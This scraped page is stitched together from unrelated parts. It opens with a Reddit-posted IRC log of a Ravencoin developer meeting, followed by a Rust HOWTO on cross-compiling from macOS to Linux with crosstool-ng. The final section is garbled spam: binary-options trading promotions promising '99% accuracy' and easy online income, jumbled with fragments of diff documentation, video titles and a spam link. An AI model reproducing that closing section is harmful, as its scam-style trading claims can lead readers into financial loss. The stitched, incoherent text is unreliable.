[14:16] Agreed
[14:16] lets talk about the maxreorg depth, people in the discord have been asking "why isnt it lower" what do you guys think
[14:16] once we finish with the first one we will russk
[14:16] k
[14:16] no russk
[14:16] lol
[14:17] I saw it went back to 60.
[14:17] 2.0.4.1 will be built and uploaded today.
[14:18] Once the binaries are ready, Ill get it out to all of the social sites, exchanges, and pool operators
[14:18] We changed the voting date for 2.0.4.1
[14:19] So it will not interfere with 2.1 release.
[14:19] We would prefer that 2.0.4 and 2.0.4.1 assets do not activate as they're not 100% compatible with 2.1 assets.
[14:19] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[14:20] We also need the communities help to get people to upgrade to 2.0.4.1
[14:20] The protocol layer for assets changed just a bit.
[14:20] Unique assets can be 31 chars instead of 30
[14:20] We saved a byte on asset creation by not encoding the IPFS length twide.
[14:20] We saved a byte on asset creation by not encoding the IPFS length twice.
[14:21] ipfs will be implemented natively later right?
[14:21] YEs
[14:21] I hope so.
[14:21] awesome
[14:21] So vulnerabilty patch first, then the asset layer. Same 31/10 date though for starting asset activation on 2.1
[14:21] It makes sense for us to integrate with IPFS when messaging is available.
[14:22] Yes lsji07
[14:22] Until then, the IPFS hashes will be embedded and we'll "pin" the files so they stay around.
[14:22] == HansSchmidt [[email protected]/web/cgi-irc/kiwiirc.com/ip.173.239.232.46] has joined #ravencoin-dev
[14:22] == Hans_Schmidt [[email protected]/web/cgi-irc/kiwiirc.com/ip.173.239.232.56] has left #ravencoin-dev []
[14:22] == corby_ [[email protected]/web/freenode/ip.207.135.150.17] has joined #ravencoin-dev
[14:23] do you guys have anyone working on RSK yet?
[14:23] hi
[14:23] sup
[14:23] Any other questions about 2.0.4.1?
[14:23] @russk Thats a great question for the open QA at the end :)
[14:23] K, let's cover the Max Re-Org depth changes.
[14:24] No, but it can be implemented with RVN the same way as Bitcoin - as a side chain.
[14:24] Tron posted an article that discusses the options that were discussed.
[14:24] https://medium.com/@tronblack/ravencoin-building-the-immune-system-23d077b65f71
[14:24] Hope you all had a chance to read through it.
[14:25] im still voting for the lake of fire method
[14:25] I think the lake of fire was my favorite too.
[14:25] Agreed
[14:25] I'm with ya russk
[14:25] I have sourced the lake part.
[14:25] We found a burning pit in Utah, but no lake.
[14:25] aw
[14:26] Must try harder.
[14:26] The code has moved to 60 blocks.
[14:26] The reason for 55 was to have "buffer"
[14:26] https://en.wikipedia.org/wiki/Darvaza_gas_crater
[14:26] I would love to hear thoughts about the solution being proposed.
[14:26] Buffer isn't needed if we get all the >= and the counts right.
[14:27] Or questions/suggestions.
[14:27] Exchanges don't go by time, but by confirmations. Confirmations are the block count, so if it can't re-org at 60, then 60 should be a safe level.
[14:27] Plus 60 is easier to explain to people than 55 because the timing is in line with bitcoin.
[14:27] It might be lower, but we opted for a more conservative number.
[14:27] The downside risk is a chain split on an honest/honest split.
[14:28] With years of data, we could look at all the chain splits and determine the probability of a long split.
[14:29] For instance, a network cable between China and the rest of the world is cut, and then comes back on line later.
[14:29] I think the code decision is sound. The only way a chain split would occur is splitting the hardware links around the world. Wartime scenario?
[14:29] say if 50% of nodes upgrade to the new maxreorg client and someone tries to reorg the chain there will be a big split right?
[14:30] Yes.
[14:30] == Raven-Fam|21005 [[email protected]/web/cgi-irc/kiwiirc.com/ip.65.23.49.44] has joined #ravencoin-dev
[14:30] Most exchanges today give access to bitcoin funds long before 6 confirmations, so you wouldn't expect exchanges to require 60 confirms either, correct?
[14:30] Although that risk exists primarily between now and early Nov. After that, we hope 90%+ will be on the asset aware software.
[14:31] which is why you all need to upgrade your wallets and vote for the correct chain and tell your friends.
[14:31] got it, 2.1 will be the actual client for the hardfork, correct?
[14:31] The exchanges are welcome to take on additional risk. The risk decreases as the hashpower goes up.
[14:31] 2.1 is the planned version number.
[14:32] also, say if i am still on 2.0.3-4 will i still be able to use assets after the hardfork?
[14:32] how incompatible are the clients
[14:32] At that point 2.0.3-4 clients would be on a different fork I believe.
[14:34] any node with version < 2.1 will fork when assets are active.
[14:34] Assets activate when 90% of the blocks are mined with 2.1+
[14:34] We'll work hard to ensure exchanges and pools have updated to 2.0.4.1 first and then to 2.1 when it's available.
[14:34] awesome
[14:35] But we want the community to help get the word out as well. Raven needs you!
[14:35] We need a raven with a US Army hat guy to get people to update.
[14:35] lol
[14:36] Ill ping Pathfinder and get him on it.
[14:36] Only you can help assure upgrades
[14:36] Any other questions/comments/suggestions on Max Re-Org?
[14:37] So just to be clear- the max reorg is included in 2.0.4.1 of not?
[14:37] No, it is not.
[14:37] Only the bitcoin bug fix is in 2.0.4.1
[14:38] Okay, open Q&A then!
[14:38] Russk go!
[14:38] lol
[14:39] when are you guys going to implement native bech32?
[14:39] Is there time to talk about asset_name token burning? There has been a proposal for RPC commands to let an asset_token owner burn them in order to clean out unwanted asset names and reduce UTXO. That appears to be easy and relatively uncontroversial.
[14:39] also anyone working on RSK yet
[14:40] Bech 32 was deprecated.
[14:40] Honestly don't know much about it.
[14:41] is the block size going to increase to 2mb when we fork?
[14:41] russk tell me more.
[14:41] I thought it was the new btc address format...
[14:41] it is
[14:41] it allows native segwit addresses
[14:41] https://github.com/bitcoin/bips/blob/mastebip-0173.mediawiki
[14:41] Ravencoin forked in the middle of implementation of segwit, it's planned to be added with Segwit.
[14:41] Raven is already 2mb
[14:41] really?
[14:42] i thought it was 1mb
[14:42] It's part of the vote coming up on Oct 31
[14:42] ah ok
[14:42] It's in there, but BIP9 has to activate first.
[14:42] Yes. We've also tested that it is possible to fill a 2MB block
[14:42] Or rather BIP9 voting will activate RIP2 which will increase the block size.
[14:43] https://i.imgflip.com/2igmj7.jpg
[14:43] do you guys have a timeframe of when segwit is being fully added?
[14:43] I want you. Nice one.
[14:44] and for when they have done it, you can use https://i.imgflip.com/2igmml.jpg
[14:44] lol
[14:44] Wow, we have a meme master in the community!
[14:44] @HansSchmidt any new code would be appreciated, if you have the ability to code the rpc called please submit an PR to the repo
[14:44] I can't even open Photoshop that fast
[14:45] We are talking about adding anti-spam features into the wallet.
[14:45] Basically, if somebody sends an asset to an address that has been already used it could be an unwanted asset.
[14:45] == vap0r-XMR [[email protected]/web/cgi-irc/kiwiirc.com/ip.67.255.25.134] has joined #ravencoin-dev
[14:46] One more meme from the master: ttps://i.imgflip.com/2igmtd.jpg
[14:46] https://i.imgflip.com/2igmtd.jpg
[14:46] == Raven-Fam|1781 [[email protected]/web/freenode/ip.181.215.110.161] has joined #ravencoin-dev
[14:46] Understood. I'll look at it, but I'm more python than C
[14:47] == SweetAndLow [~[email protected]] has joined #ravencoin-dev
[14:47] Perfect
[14:47] That would still be great Hans.
[14:47] im looking into implementing RSK
[14:48] @HansSchmidt You don't need C
[14:48] it doesnt look crazy hard, just some java stuff
[14:48] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has joined #ravencoin-dev
[14:48] c++
[14:48] more like c--
[14:49] == Raven-Fam|21005 [[email protected]/web/cgi-irc/kiwiirc.com/ip.65.23.49.44] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[14:49] when ravencoin client coded in assembly
[14:49] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has quit [Client Quit]
[14:49] I was referring to @blondfrog new RPCs
[14:49] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has joined #ravencoin-dev
[14:49] I'd like to help with RSK
[14:49] We would love you to help!
[14:50] if you know java you can probably do it @vap0r
[14:50] https://github.com/rsksmart
[14:50] fork rskj and bitcoinj
[14:50] Thanks
[14:51] RSK would be extremely useful for bond-like implementations
[14:51] assets would probably mess RSK up tho
[14:51] Im off now thanks for the hard work guys!
[14:52] It might be a fun merge for sure.
[14:52] Thanks for joining!
[14:52] == AlsoSushi [[email protected]/web/cgi-irc/kiwiirc.com/ip.185.220.101.33] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[14:52] the bitcoinj client doesnt look crazy hard to port over to ravencoin
[14:52] == lsji07 [~[email protected]] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
[14:52] you would just need to change the diff algo to DGW and make an x16r java implementation
[14:53] It shouldn't be too hard.
[14:53] Which channel can I disclose a vulnerability?
[14:53] is it the bitcoin double spend vulnerability?
[14:53] or something new
[14:53] DM Chatturga on discord.
[14:53] == dudeman [[email protected]/web/cgi-irc/kiwiirc.com/ip.65.23.49.44] has joined #ravencoin-dev
[14:53] No, on Testnet
[14:53] ahh ok yea dm chatturga
[14:54] Either way, you can send it to me and I can make surfe it gets where it needs to go.
[14:54] sure*
[14:54] Do you have a suggested fix?
[14:54] Not currently, need more time
[14:55] Just give Chatturga a ping, and we can talk about it
[14:55] Thank you vap0r!
[14:55] i am extremely curious to see what this vulnerability is
[14:55] Does not impact supply
[14:56] assets related?
[14:56] On second thought vap0r just share it here if you don't mind.
[14:56] this is testnet so its meant to be bug tested
[14:57] If it's a testnet only bug then please feel free to share.
[14:58] We're now on pins and needles vap0r.
[14:58] :)
[14:59] Any other questions while we wait?
[14:59] Or another meme? ;)
[15:00] Do you all like these open developer meetings?
[15:00] == Mixed [[email protected]/web/freenode/ip.50.1.102.108] has joined #ravencoin-dev
[15:00] yea they are nice
[15:00] no
[15:00] lol
[15:00] hahaha!!! to bad blondy
[15:00] if they were on discord it would be nicer
[15:01] == vap0r-XMR [[email protected]/web/cgi-irc/kiwiirc.com/ip.67.255.25.134] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[15:01] lol
[15:01] there he goes
[15:01] Vap0r left...
[15:01] +1 on Discord
[15:01] Is anyone using testnet6 yet? I built develop2 branch to get 2.0.6 to play with, but had to modify it back to testnet5 in order to be useful. Even on testnet5 there has been only one person sometimes cpu mining.
[15:01] Is anyone using testnet6 yet? I built develop2 branch to get 2.0.6 to play with, but had to modify it back to testnet5 in order to be useful. Even on testnet5 there has been only one person sometimes cpu mining.
[15:01] Is anyone using testnet6 yet? I built develop2 branch to get 2.0.6 to play with, but had to modify it back to testnet5 in order to be useful.
[15:01] We're setting up seed nodes for testnet6.
[15:02] Seed nodes are being updated.
[15:02] wierd echo...
[15:02] Love that you're pulling the code Hans!
[15:02] im not on testnetv6 yet, i could compile the binaries and then we could play around @hans
[15:02] We expect testnet6 consensus rules to be the final ones.
[15:03] when are we getting testnetv20?
[15:03] lol
[15:03] We're working on it russk
[15:03] cant wait
[15:04] how can I find the seed nodes? they're added into the code updates?
[15:04] == Spyder [[email protected]/web/freenode/ip.174.128.245.122] has quit [Quit: Page closed]
[15:04] We're done, thanks everybody.
[15:04] russk -- 14 mistakes from now.
[15:04] Roshii is done. :)
[15:04] Did I see a request for one more meme?
[15:04] https://i.imgflip.com/2igof3.jpg
[15:04] one last question, when moon?
[15:04] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[15:05] lol @chatt
[15:05] == Mixed [[email protected]/web/freenode/ip.50.1.102.108] has quit [Ping timeout: 256 seconds]
[15:05] == Sat_Roshii [[email protected]/web/freenode/ip.173.241.144.77] has quit [Quit: Page closed]
[15:05] Seed nodes are behind 3 DNS entries
[15:05] Thanks all. Tron out.
[15:05] == Tron_ [[email protected]/web/freenode/ip.173.241.144.77] has quit [Quit: Page closed]
[15:05] Peace
[15:06] == blondfrogs [[email protected]/web/freenode/ip.91.207.175.238] has quit [Quit: Page closed]
[15:06] == Raven-Fam|1781 [[email protected]/web/freenode/ip.181.215.110.161] has quit [Quit: Page closed]
[15:06] Peace
[15:06] == HansSchmidt [[email protected]/web/cgi-irc/kiwiirc.com/ip.173.239.232.46] has left #ravencoin-dev []
[15:06] 3 domains Ravencoin.org, Ravencoin.com, bitactivate.com
[15:06] 4 dns entries per domain so a total of 12 nodes.
[15:07] Alright, everybody left me. Thanks all for joining this week!
[15:07] I'll never let go, Wolf
[15:07] I think we'll try discord two weeks from now.
[15:07] good shit guys, keep up the good work
[15:08] Thank you all! We have the best community!
[15:08] And definitely the best Memes!
[15:08] == Zaaaab [[email protected]/web/cgi-irc/kiwiirc.com/ip.174.211.21.7] has joined #ravencoin-dev
[15:09] Have a great weekend.
submitted by Chatturga to Ravencoin [link] [comments]

Crosscompilation on macOS for Linux

Hi,
I looked around and could find much information on crosscomplillation on macOS for Linux. I know it's possible. But I haven't found a complete guide on how to do it.
Could you please give me pointers to any relevant information if there's any?
Update
It seems I managed to do it. I've built myself a crosscompillation toolchain and built a binary on macOS and it ran on Linux.

HOWTO, sort of…

  1. Install crosstool-ng. I started with Homebrew one. Later I switched to git installation. I don't think there's a difference in context of this HOWTO.
  2. Create a disk image with a case-sensitive filesystem. You can use either Disk Utility or hdiuril CLI tool. Either way, you need to create a disk image (DMG) with a case-sensitive file system. crosstool-ng requires it. Make it roomy. I created a 15GiB image. It ended up having 6.3GiB of files. I don't know if needs more space during the build or if it's the most space it ever needs.
  3. (Optionally) Create another disk image for the final toolchain files. Same procedure. Just make it smaller. I went with 1GiB. It ended up containing 265 MiB of files. I don't think it has to be case-sensitive but I made it just in case. This is a nice way to isolate the toolchain. You can keep it wherever you want and not pollute your system.
  4. Mount images
  5. Configure the toolchain.
    1. Start with a template for x86_64-unknown-linux-gnu (ct-ng x86_64-unknown-linux-gnu).
    2. Run ct-ng menuconfig
    3. Adjust paths. By default ct-ng wants to use home directory (~). But you want to use your images. You need to set Paths and misc options > Local tar balls directory to be on your big image: /Volumes/build-image/src. And Paths and misc options > Prefix directory to be on the smaller image: /Volumes/prefix-image/x-tools/${CT_TARGET}.
    4. Disable static build. It turns out it's impossible to make a static build because macOS doesn't provide some essential files.
      1. Tick off Toolchain options > Build Static Toolchain.
      2. Tick off C compiler > Link libstdc++ statically into the gcc binary.
    5. Disable gold. I ran into problems building gold. Then I read that it's still in beta. So I figured it won't really hurt if I just disable it and use ld. Go to Binary utilities > Linkers to enable and select ld option.
    6. Disable gdb. There were more problems with gdb compilation. And since it's an older gdb without Rust support I figured I can do without it. Tick off Debug facilities > gdb.
    7. Enable crosstool-ng debugging. Since build issues are not solved by just switches you'll have to do some manual fixes. Crosstool-ng debugging helps a lot in this. Tick on Paths and misc options > Debug cross tool-NG and all its suboptions.
  6. Run the build. ct-ng build. This will ask you to hit Enter (since you enabled pauses before each step in 5.7). Eventually it will break on Linux headers installation.
  7. Fix kernel headers makefile. At this poing Crosstool-NG will handily present you with a shell. The issue is that some helper tools can not fined elf.h. I searched about the issue but couldn't find if the tool is required for anything essential. I decided to just skip it and see how it goes. In the end it turned out that the toolchan is functional. You'll need to find source directory for unpacked Linux kernel (hint: it's not the same as build directory) and fix it's Makefile to skip building these tools. Here's [a similar issue with a patch][https://github.com/richfelkemusl-cross-make/pull/9/files#diff-18a9a879a49bec621ac99974622a6944]. After the patch application run exit 2 to rerun current build step.
  8. Finish the build. If I recall correctly that's it. At this point you'll have toolchain on the smaller disk image.
I tried building a few binaries (stock cargo new and svgbobrus) and running them on Linux. They seem to work. At least they run and produce expected output.

Installing Rust target

This one is pretty simple and painless.
rustup target add x86_64-unknown-linux-gnu 

Configuring Cargo

To make use of the toolchain you need to let Cargo know about it. This specific topic seem to be not documented in [Cargo docs][http://doc.crates.io/] which is unfortunate. Rust-cross however has some useful information.
So you need to edit Cargo config file. You can use either global config (~/.cargo/config) or a local one in any project (.cargo/config in the project root).
You need to add this snippet:
[target.x86_64-unknown-linux-gnu] linker = "/Volumes/prefix-image/x-tools/x86_64-unknown-linux-gnu/bin/x86_64-unknown-linux-gnu-gcc" 
macOS is relatively consistent with mount points. As long as we only have the image mounted once it should be the same path every time.

Building the project

Just add —target argument. Like this:
cargo build --target x86_64-unknown-linux-gnu 
That's it.

Instead of epilogue

Building a toolchain is a pain. Especially when knowledge of this whole gcc/binutils business is lacking. Taking into account how many times I just winged it it's extremely good luck on my part that it works.
submitted by chebatron to rust [link] [comments]

BINARY OPTIONS STRATEGY 2017: BINARY OPTIONS REVIEW - TRADING OPTIONS (BINARY OPTIONS) GDLC Will Help You Make Money Online - YouTube 60 second binary options strategy 2017 And 99% Accuracy With A killer Strategy GuaiShiba - YouTube 24Option Review 2015 - Scam? Demo and Bonus Info HFX Binary Overview on How To Fund your Account Binary Options Indicator - Best Binary Indicators For MT4? New Binary Option Strategy  Trend Reversal Indicator  Secret Proven Indicator to Increase Winning

1.7 Arquivos binários e forçando comparações de texto Se diff acha que um dos dois arquivos que está comparando é binário (um arquivo não-te... Binary Files and Forcing Text Comparisons ===== If `diff' thinks that either of the two files it is comparing is binary (a non-text file), it normally treats that pair of files much as if the summary output format had been selected (see Brief.), and reports only that the binary files are different. This is because line by line comparisons are ... If diff thinks that either of the two files it is comparing is binary (a non-text file), it normally treats that pair of files much as if the summary output format had been selected (see section Summarizing Which Files Differ), and reports only that the binary files are different. This is because line by line comparisons are usually not meaningful for binary files. Binary Diffing Options: -W, --hexdump Perform a hexdump / diff of a file or files -G, --green Only show lines containing bytes that are the same among all files -i, --red Only show lines containing bytes that are different among all files -U, --blue Only show lines containing bytes that are different among some files -w, --terse Diff all files, but only display a hex dump of the first file Raw ... I was having this issue where Git GUI and SourceTree was treating Java/JS files as binary and thus wouldn’t show a diff. Creating a file named attributes in .git/info with following content solved the problem: *.java diff *.js diff *.pl diff *.txt diff *.ts diff *.html diff Compare binary files with diff; Compare backup copies to current files; How To Use Unix Diff. In its simplest form, compares two text files – you provide their names as command line options. Let’s create two files first: [email protected]:~ $ touch try [email protected]:~ $ touch try2. Diff won’t show any difference because they’re exactly the same – empty new files: [email protected ... diff [options] file1 file2. But understanding its output is a different thing. Don’t worry, I’ll explain the output so that you can compare two files and understand the difference between them. Understanding the diff command in Linux . You need a couple of files to get started with. I’ve generated a list using a random word generator. I added the list to two different files and then I ... Diff with the following options would do a binary comparison to check just if the files are different at all and it'd output if the files are the same as well: diff -qs {file1} {file2} If you are comparing two files with the same name in different directories, you can use this form instead: diff -qs {file1} --to-file={dir2} OS X El Capitan Description. The diff software does not actually change the files it compares. However, it can optionally generate a script (if the -e option is specified) for the program ed or ex which can be used to apply the changes.. For example, consider two files, file1.txt and file2.txt. If file1.txt contains the following four lines of text:. I need to buy apples. The diff command will show you the differences between two text files or tell you if two binaries are different, but it also has quite a few very useful options. For text files, the diff command ...

[index] [3193] [19007] [4063] [8352] [13568] [22630] [4126] [6068] [12080] [17866]

BINARY OPTIONS STRATEGY 2017: BINARY OPTIONS REVIEW - TRADING OPTIONS (BINARY OPTIONS)

If you are a beginner in binary options,you should join our private trading group to get free access to expert trading signals,strategies. Be disciplined.Follow trend analysis. Happy trading. New Binary Option Strategy Trend Reversal Indicator Secret Proven Indicator to Increase Winning Proven Indicators. Loading... Unsubscribe from Proven Indicators? Cancel Unsubscribe. Working ... Binary Options Explained (Part 1): A video that details binary option trading, which has become popular across a number of websites today, and explains (mathematically) some of the profit/loss ... The first demo this semester showing the rendering of binary files in the diff viewer. This project by Ceegan Hale, a University of Alberta student working with us through the CANOSP program, is de... Compare Binary Options Signals 46,657 views 4:35 How to Trade Options on Robinhood for Beginners in 2020 Comprehensive Guide by InTheMoney - Duration: 1:11:16. Make sure you examine binary options strategy 2017 our Risk Disclosure Discover and Lawful Files prior to employing our services. Why inquire why? » The best way to make money online Step one is ... Are Binary Options a SCAM ? - Duration: 11:50. ... How to delete a record from binary file c++ classes for class 12 - Duration: 5:25. Ella Joshi Classes 9,581 views. 5:25. Network and ... GDLC, Guaranteed Downline Club, https://cyclerulers.com/gdlc GDLC Will Help You Make Money Online Are you searching for a simple, legit, and cheap way to mak... 60 second binary options strategy 2017 And 99% Accuracy With A killer StrategyBinary ALPHA is a 60 Second logical trading method where you take 60 SEC trading as a risk cycle and turn every cycle ... Binary Options $500 - $5000 Challenge - Duration: 3:00. Nes Vquez 3,484 views. 3:00 . Top 10 Best Online Businesses For Beginners - Duration: 18:03. Greg Gottfried Recommended for you. 18:03 ...

https://binary-optiontrade.semesaguar.ml